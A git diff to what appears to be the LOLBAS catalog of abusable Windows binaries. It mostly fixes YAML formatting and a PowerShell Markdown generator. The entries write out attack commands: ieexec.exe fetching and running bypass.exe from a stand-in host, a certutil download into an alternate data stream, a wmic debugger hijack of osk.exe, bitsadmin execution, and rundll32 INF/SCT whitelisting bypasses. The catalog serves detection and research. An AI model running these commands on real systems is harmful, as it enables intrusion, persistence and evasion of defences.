diff --git a/Mgmt-Scripts/Draft-MDFromYaml-webportal.ps1 b/Mgmt-Scripts/Draft-MDFromYaml-webportal.ps1 index 13f903f..a03aa5e 100644 --- a/Mgmt-Scripts/Draft-MDFromYaml-webportal.ps1 +++ b/Mgmt-Scripts/Draft-MDFromYaml-webportal.ps1 @@ -29,16 +29,16 @@ function Convert-YamlToMD "name: $($YamlObject.Name)"| Add-Content $Outfile "description: $($YamlObject.Description)"| Add-Content $Outfile "function:"| Add-Content $Outfile - # Need a category linked to the different things... Execute, Download, AWL-bypass. - + foreach($cmd in $YamlObject.Commands) { " $($cmd.Category):"| Add-Content $Outfile " - description: $($cmd.Description)"| Add-Content $Outfile " code: $($cmd.Command)"| Add-Content $Outfile - " code: $($cmd.Command)"| Add-Content $Outfile " mitreid: $($cmd.MitreID)"| Add-Content $Outfile " mitrelink: $($cmd.MitreLink)"| Add-Content $Outfile + " operatingsystem: $($cmd.Operatingsystem)"| Add-Content $Outfile + " privileges: $($cmd.Privileges)"| Add-Content $Outfile } "resources:"| Add-Content $Outfile foreach($link in $YamlObject.Resources) @@ -48,9 +48,14 @@ function Convert-YamlToMD "fullpath:"| Add-Content $Outfile foreach($path in $YamlObject.'Full path') { - " - path: $($path)"| Add-Content $Outfile + " - Path: $($path)"| Add-Content $Outfile + } + "acknowledgement:"| Add-Content $Outfile + foreach($pers in $YamlObject.Acknowledgement) + { + " - Person: $($pers.Person)"| Add-Content $Outfile + " Handle: `'$($pers.Handle)`'"| Add-Content $Outfile } - "notes: $($YamlObject.Notes)"| Add-Content $Outfile "---" | Add-Content $Outfile } End @@ -112,11 +117,11 @@ function Invoke-GenerateMD #Generate the stuff! #Bins -#Invoke-GenerateMD -YmlPath "$mainpath\yml\OSBinaries" -Outpath "c:\tamp\Binaries" -Verbose +##Invoke-GenerateMD -YmlPath "$mainpath\yml\OSBinaries" -Outpath "c:\tamp\Binaries" -Verbose Invoke-GenerateMD -YmlPath "$mainpath\yml\OtherMSBinaries" -Outpath "c:\tamp\OtherMSBinaries" -Verbose ##Scripts -#Invoke-GenerateMD -YmlPath "$mainpath\yml\OSScripts" -Outpath "c:\tamp\SCripts" -Verbose +##Invoke-GenerateMD -YmlPath "$mainpath\yml\OSScripts" -Outpath "c:\tamp\Scripts" -Verbose ##Libs -#Invoke-GenerateMD -YmlPath "$mainpath\yml\OSLibraries" -Outpath "c:\tamp\Libraries" -Verbose \ No newline at end of file +##Invoke-GenerateMD -YmlPath "$mainpath\yml\OSLibraries" -Outpath "c:\tamp\Libraries" -Verbose \ No newline at end of file diff --git a/yml/OSBinaries/Bash.yml b/yml/OSBinaries/Bash.yml index a2feced..c59f793 100644 --- a/yml/OSBinaries/Bash.yml +++ b/yml/OSBinaries/Bash.yml @@ -12,7 +12,7 @@ Commands: MitreID: T1218 MitreLink: https://attack.mitre.org/wiki/Technique/T1218 OperatingSystem: Windows 10 - - Command: bash.exe -c calc.exe + - Command: bash.exe -c calc.exe Description: Executes calc.exe from bash.exe Usecase: Performs execution of specified file, can be used to bypass Application Whitelisting. Category: AWL Bypass @@ -24,9 +24,9 @@ Full Path: - Path: C:\Windows\System32\bash.exe - Path: C:\Windows\SysWOW64\bash.exe Code Sample: -- Code: + - Code: Detection: - - IOC: Child process from bash.exe + - IOC: Child process from bash.exe Resources: - Link: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules Acknowledgement: diff --git a/yml/OSBinaries/Bitsadmin.yml b/yml/OSBinaries/Bitsadmin.yml index 700a074..dbc58da 100644 --- a/yml/OSBinaries/Bitsadmin.yml +++ b/yml/OSBinaries/Bitsadmin.yml @@ -12,7 +12,7 @@ Commands: MitreID: T1096 MitreLink: https://attack.mitre.org/wiki/Technique/T1096 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 - - Command: bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1 + - Command: bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1 Description: Create a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command, then resume and complete the job. Usecase: Download file from Internet Category: Download @@ -20,7 +20,7 @@ Commands: MitreID: T1105 MitreLink: https://attack.mitre.org/wiki/Technique/T1105 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 - - Command: bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /RESUME 1 & bitsadmin /Complete 1 & bitsadmin /reset + - Command: bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /RESUME 1 & bitsadmin /Complete 1 & bitsadmin /reset Description: Command for copying cmd.exe to another folder Usecase: Copy file Category: Copy @@ -28,7 +28,7 @@ Commands: MitreID: T1105 MitreLink: https://attack.mitre.org/wiki/Technique/T1105 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 - - Command: bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\cmd.exe NULL & bitsadmin /RESUME 1 & bitsadmin /Reset + - Command: bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\cmd.exe NULL & bitsadmin /RESUME 1 & bitsadmin /Reset Description: One-liner that creates a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command, then resume and complete the job. Usecase: Execute binary file specified. Can be used as a defensive evasion. Category: Execute @@ -40,11 +40,11 @@ Full Path: - Path: C:\Windows\System32\bitsadmin.exe - Path: C:\Windows\SysWOW64\bitsadmin.exe Code Sample: -- Code: + - Code: Detection: - - IOC: Child process from bitsadmin.exe - - IOC: bitsadmin creates new files - - IOC: bitsadmin adds data to alternate data stream + - IOC: Child process from bitsadmin.exe + - IOC: bitsadmin creates new files + - IOC: bitsadmin adds data to alternate data stream Resources: - Link: https://www.slideshare.net/chrisgates/windows-attacks-at-is-the-new-black-26672679 - slide 53 - Link: https://www.youtube.com/watch?v=_8xJaaQlpBo diff --git a/yml/OSBinaries/Certutil.yml b/yml/OSBinaries/Certutil.yml index 9990689..4a1b4a9 100644 --- a/yml/OSBinaries/Certutil.yml +++ b/yml/OSBinaries/Certutil.yml @@ -12,7 +12,7 @@ Commands: MitreID: T1105 MitreLink: https://attack.mitre.org/wiki/Technique/T1105 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 - - Command: certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt + - Command: certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt Description: Download and save a PS1 file to an Alternate Data Stream (ADS). Usecase: Download file from Internet and save it in an NTFS Alternate Data Stream Category: Alternate data streams @@ -20,7 +20,7 @@ Commands: MitreID: T1105 MitreLink: https://attack.mitre.org/wiki/Technique/T1105 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 - - Command: certutil -encode inputFileName encodedOutputFileName + - Command: certutil -encode inputFileName encodedOutputFileName Description: Command to encode a file using Base64 Usecase: Encode files to evade defensive measures Category: Encode @@ -28,7 +28,7 @@ Commands: MitreID: T1027 MitreLink: https://attack.mitre.org/wiki/Technique/T1027 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 - - Command: certutil -decode encodedInputFileName decodedOutputFileName + - Command: certutil -decode encodedInputFileName decodedOutputFileName Description: Command to decode a Base64 encoded file. Usecase: Decode files to evade defensive measures Category: Decode @@ -40,11 +40,11 @@ Full Path: - Path: C:\Windows\System32\certutil.exe - Path: C:\Windows\SysWOW64\certutil.exe Code Sample: -- Code: + - Code: Detection: - - IOC: Certutil.exe creating new files on disk - - IOC: Useragent Microsoft-CryptoAPI/10.0 - - IOC: Useragent CertUtil URL Agent + - IOC: Certutil.exe creating new files on disk + - IOC: Useragent Microsoft-CryptoAPI/10.0 + - IOC: Useragent CertUtil URL Agent Resources: - Link: https://twitter.com/Moriarty_Meng/status/984380793383370752 - Link: https://twitter.com/mattifestation/status/620107926288515072 diff --git a/yml/OSBinaries/Ieexec.yml b/yml/OSBinaries/Ieexec.yml index b3682a0..20e9c20 100644 --- a/yml/OSBinaries/Ieexec.yml +++ b/yml/OSBinaries/Ieexec.yml @@ -4,7 +4,7 @@ Description: The IEExec.exe application is an undocumented Microsoft .NET Framew Author: 'Oddvar Moe' Created: '2018-05-25' Commands: - - Command:ieexec.exe http://x.x.x.x:8080/bypass.exe + - Command: ieexec.exe http://x.x.x.x:8080/bypass.exe Description: Downloads and executes bypass.exe from the remote server. Usecase: Download and run attacker code from remote location Category: Download @@ -12,7 +12,7 @@ Commands: MitreID: T1105 MitreLink: https://attack.mitre.org/wiki/Technique/T1105 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 - - Command:ieexec.exe http://x.x.x.x:8080/bypass.exe + - Command: ieexec.exe http://x.x.x.x:8080/bypass.exe Description: Downloads and executes bypass.exe from the remote server. Usecase: Download and run attacker code from remote location Category: Execute @@ -24,9 +24,9 @@ Full Path: - Path: C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe - Path: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ieexec.exe Code Sample: -- Code: + - Code: Detection: - - IOC: + - IOC: Resources: - Link: https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/ Acknowledgement: diff --git a/yml/OSBinaries/Msiexec.yml b/yml/OSBinaries/Msiexec.yml index b68a194..16b1ad2 100644 --- a/yml/OSBinaries/Msiexec.yml +++ b/yml/OSBinaries/Msiexec.yml @@ -40,9 +40,9 @@ Full Path: - Path: C:\Windows\System32\msiexec.exe - Path: C:\Windows\SysWOW64\msiexec.exe Code Sample: -- Code: + - Code: Detection: - - IOC: msiexec.exe getting files from Internet + - IOC: msiexec.exe getting files from Internet Resources: - Link: https://pentestlab.blog/2017/06/16/applocker-bypass-msiexec/ - Link: https://twitter.com/PhilipTsukerman/status/992021361106268161 @@ -50,5 +50,5 @@ Acknowledgement: - Person: netbiosX Handle: '@netbiosX' - Person: Philip Tsukerman - Handle: @PhilipTsukerman + Handle: '@PhilipTsukerman' --- \ No newline at end of file diff --git a/yml/OSBinaries/Pcalua.yml b/yml/OSBinaries/Pcalua.yml index af4e1e8..678b6b4 100644 --- a/yml/OSBinaries/Pcalua.yml +++ b/yml/OSBinaries/Pcalua.yml @@ -31,14 +31,14 @@ Commands: Full Path: - Path: C:\Windows\System32\pcalua.exe Code Sample: -- Code: + - Code: Detection: - - IOC: + - IOC: Resources: - Link: https://twitter.com/KyleHanslovan/status/912659279806640128 Acknowledgement: - Person: Kyle Hanslovan Handle: '@kylehanslovan' - Person: Fab - Handle: @0rbz_ + Handle: '@0rbz_' --- \ No newline at end of file diff --git a/yml/OSBinaries/Wab.yml b/yml/OSBinaries/Wab.yml index f53d2ae..fb281c0 100644 --- a/yml/OSBinaries/Wab.yml +++ b/yml/OSBinaries/Wab.yml @@ -1,4 +1,4 @@ - --- +--- Name: Wab.exe Description: Windows address book manager Author: 'Oddvar Moe' @@ -16,9 +16,9 @@ Full Path: - Path: C:\Program Files\Windows Mail\wab.exe - Path: C:\Program Files (x86)\Windows Mail\wab.exe Code Sample: -- Code: + - Code: Detection: - - IOC: WAB.exe should normally never be used + - IOC: WAB.exe should normally never be used Resources: - Link: https://twitter.com/Hexacorn/status/991447379864932352 - Link: http://www.hexacorn.com/blog/2018/05/01/wab-exe-as-a-lolbin/ diff --git a/yml/OSBinaries/Wmic.yml b/yml/OSBinaries/Wmic.yml index 50e2d3c..0316208 100644 --- a/yml/OSBinaries/Wmic.yml +++ b/yml/OSBinaries/Wmic.yml @@ -5,7 +5,7 @@ Author: 'Oddvar Moe' Created: '2018-05-25' Commands: - Command: wmic.exe process call create "c:\ads\file.txt:program.exe" - Description: Execute a .EXE file stored as an Alternate Data Stream (ADS). + Description: Execute a .EXE file stored as an Alternate Data Stream (ADS) Usecase: Execute binary file hidden in Alternate data streams to evade defensive counter measures Category: Alternate data streams Privileges: User @@ -20,7 +20,7 @@ Commands: MitreID: T1218 MitreLink: https://attack.mitre.org/wiki/Technique/T1218 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 - - Command: wmic.exe /user: /password: /node: process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\" /t REG_SZ /d \"cmd.exe\" /f" + - Command: 'wmic.exe /user: /password: /node: process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\" /t REG_SZ /d \"cmd.exe\" /f"' Description: Add cmd.exe as a debugger for the osk.exe process. Each time osk.exe is run, cmd.exe will be run as well. Usecase: Execute binary by manipulate the debugger for a program to evade defensive counter measures Category: Execute @@ -72,9 +72,9 @@ Full Path: - Path: C:\Windows\System32\wmic.exe - Path: C:\Windows\SysWOW64\wmic.exe Code Sample: -- Code: + - Code: Detection: - - IOC: Wmic getting scripts from remote system + - IOC: Wmic getting scripts from remote system Resources: - Link: https://stackoverflow.com/questions/24658745/wmic-how-to-use-process-call-create-with-a-specific-working-directory - Link: https://subt0x11.blogspot.no/2018/04/wmicexe-whitelisting-bypass-hacking.html diff --git a/yml/OSLibraries/Advpack.yml b/yml/OSLibraries/Advpack.yml index 27a4803..190c6ad 100644 --- a/yml/OSLibraries/Advpack.yml +++ b/yml/OSLibraries/Advpack.yml @@ -49,7 +49,7 @@ Code Sample: - Code: https://github.com/LOLBAS-Project/LOLBAS-Project.github.io/blob/master/_lolbas/Libraries/Payload/Advpack.inf - Code: https://github.com/LOLBAS-Project/LOLBAS-Project.github.io/blob/master/_lolbas/Libraries/Payload/Advpack_calc.sct Detection: - - IOC: '' + - IOC: Resources: - Link: https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/ - Link: https://twitter.com/ItsReallyNick/status/967859147977850880 @@ -63,5 +63,5 @@ Acknowledgment: - Person: Moriarty (RegisterOCX - CMD) Handle: '@moriarty_meng' - Person: Nick Carr (Threat Intel) - Handle: @ItsReallyNick ---- + Handle: '@ItsReallyNick' +--- \ No newline at end of file diff --git a/yml/OSLibraries/Setupapi.yml b/yml/OSLibraries/Setupapi.yml index ba5cb90..7754852 100644 --- a/yml/OSLibraries/Setupapi.yml +++ b/yml/OSLibraries/Setupapi.yml @@ -10,7 +10,7 @@ Commands: Category: AWL Bypass Privileges: User MitreID: T1085 - MItreLink: https://attack.mitre.org/wiki/Technique/T1085 + MitreLink: https://attack.mitre.org/wiki/Technique/T1085 OperatingSystem: Windows - Command: rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 C:\\Tools\\calc_exe.inf Description: Launch an executable file via the InstallHinfSection function and .inf file section directive. @@ -18,7 +18,7 @@ Commands: Category: Execution Privileges: User MitreID: T1085 - MItreLink: https://attack.mitre.org/wiki/Technique/T1085 + MitreLink: https://attack.mitre.org/wiki/Technique/T1085 OperatingSystem: Windows Full Path: - Path: c:\windows\system32\setupapi.dll @@ -29,7 +29,7 @@ Code Sample: - Code: https://gist.githubusercontent.com/enigma0x3/469d82d1b7ecaf84f4fb9e6c392d25ba/raw/6cb52b88bcc929f5555cd302d9ed848b7e407052/Backdoor-Minimalist.sct - Code: https://gist.githubusercontent.com/bohops/0cc6586f205f3691e04a1ebf1806aabd/raw/baf7b29891bb91e76198e30889fbf7d6642e8974/calc_exe.inf Detection: - - IOC: '' + - IOC: Resources: - Link: https://github.com/huntresslabs/evading-autoruns - Link: https://twitter.com/pabraeken/status/994742106852941825 @@ -42,5 +42,5 @@ Acknowledgment: - Person: Casey Smith (COM Scriptlet) Handle: '@subTee' - Person: Nick Carr (Threat Intel) - Handle: @ItsReallyNick ---- + Handle: '@ItsReallyNick' +--- \ No newline at end of file diff --git a/yml/OSLibraries/Syssetup.yml b/yml/OSLibraries/Syssetup.yml index d28dd30..591708c 100644 --- a/yml/OSLibraries/Syssetup.yml +++ b/yml/OSLibraries/Syssetup.yml @@ -6,11 +6,11 @@ Created: '2018-05-25' Commands: - Command: rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 c:\test\shady.inf Description: Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (section name specified). - UseCase: Run local or remote script(let) code through INF file specification (Note: May pop an error window). + UseCase: Run local or remote script(let) code through INF file specification (Note May pop an error window). Category: AWL Bypass Privileges: User MitreID: T1085 - MItreLink: https://attack.mitre.org/wiki/Technique/T1085 + MitreLink: https://attack.mitre.org/wiki/Technique/T1085 OperatingSystem: Windows - Command: rundll32 syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 c:\temp\something.inf Description: Launch an executable file via the SetupInfObjectInstallAction function and .inf file section directive. @@ -18,7 +18,7 @@ Commands: Category: Execution Privileges: User MitreID: T1085 - MItreLink: https://attack.mitre.org/wiki/Technique/T1085 + MitreLink: https://attack.mitre.org/wiki/Technique/T1085 OperatingSystem: Windows Full Path: - Path: c:\windows\system32\syssetup.dll @@ -28,7 +28,7 @@ Code Sample: - Code: https://gist.github.com/enigma0x3/469d82d1b7ecaf84f4fb9e6c392d25ba#file-backdoor-minimalist-sct - Code: https://gist.github.com/homjxi0e/87b29da0d4f504cb675bb1140a931415 Detection: - - IOC: '' + - IOC: Resources: - Link: https://twitter.com/pabraeken/status/994392481927258113 - Link: https://twitter.com/harr0ey/status/975350238184697857 @@ -41,4 +41,4 @@ Acknowledgment: Handle: '@harr0ey' - Person: Jimmy (Scriptlet) Handle: '@bohops' ---- +--- \ No newline at end of file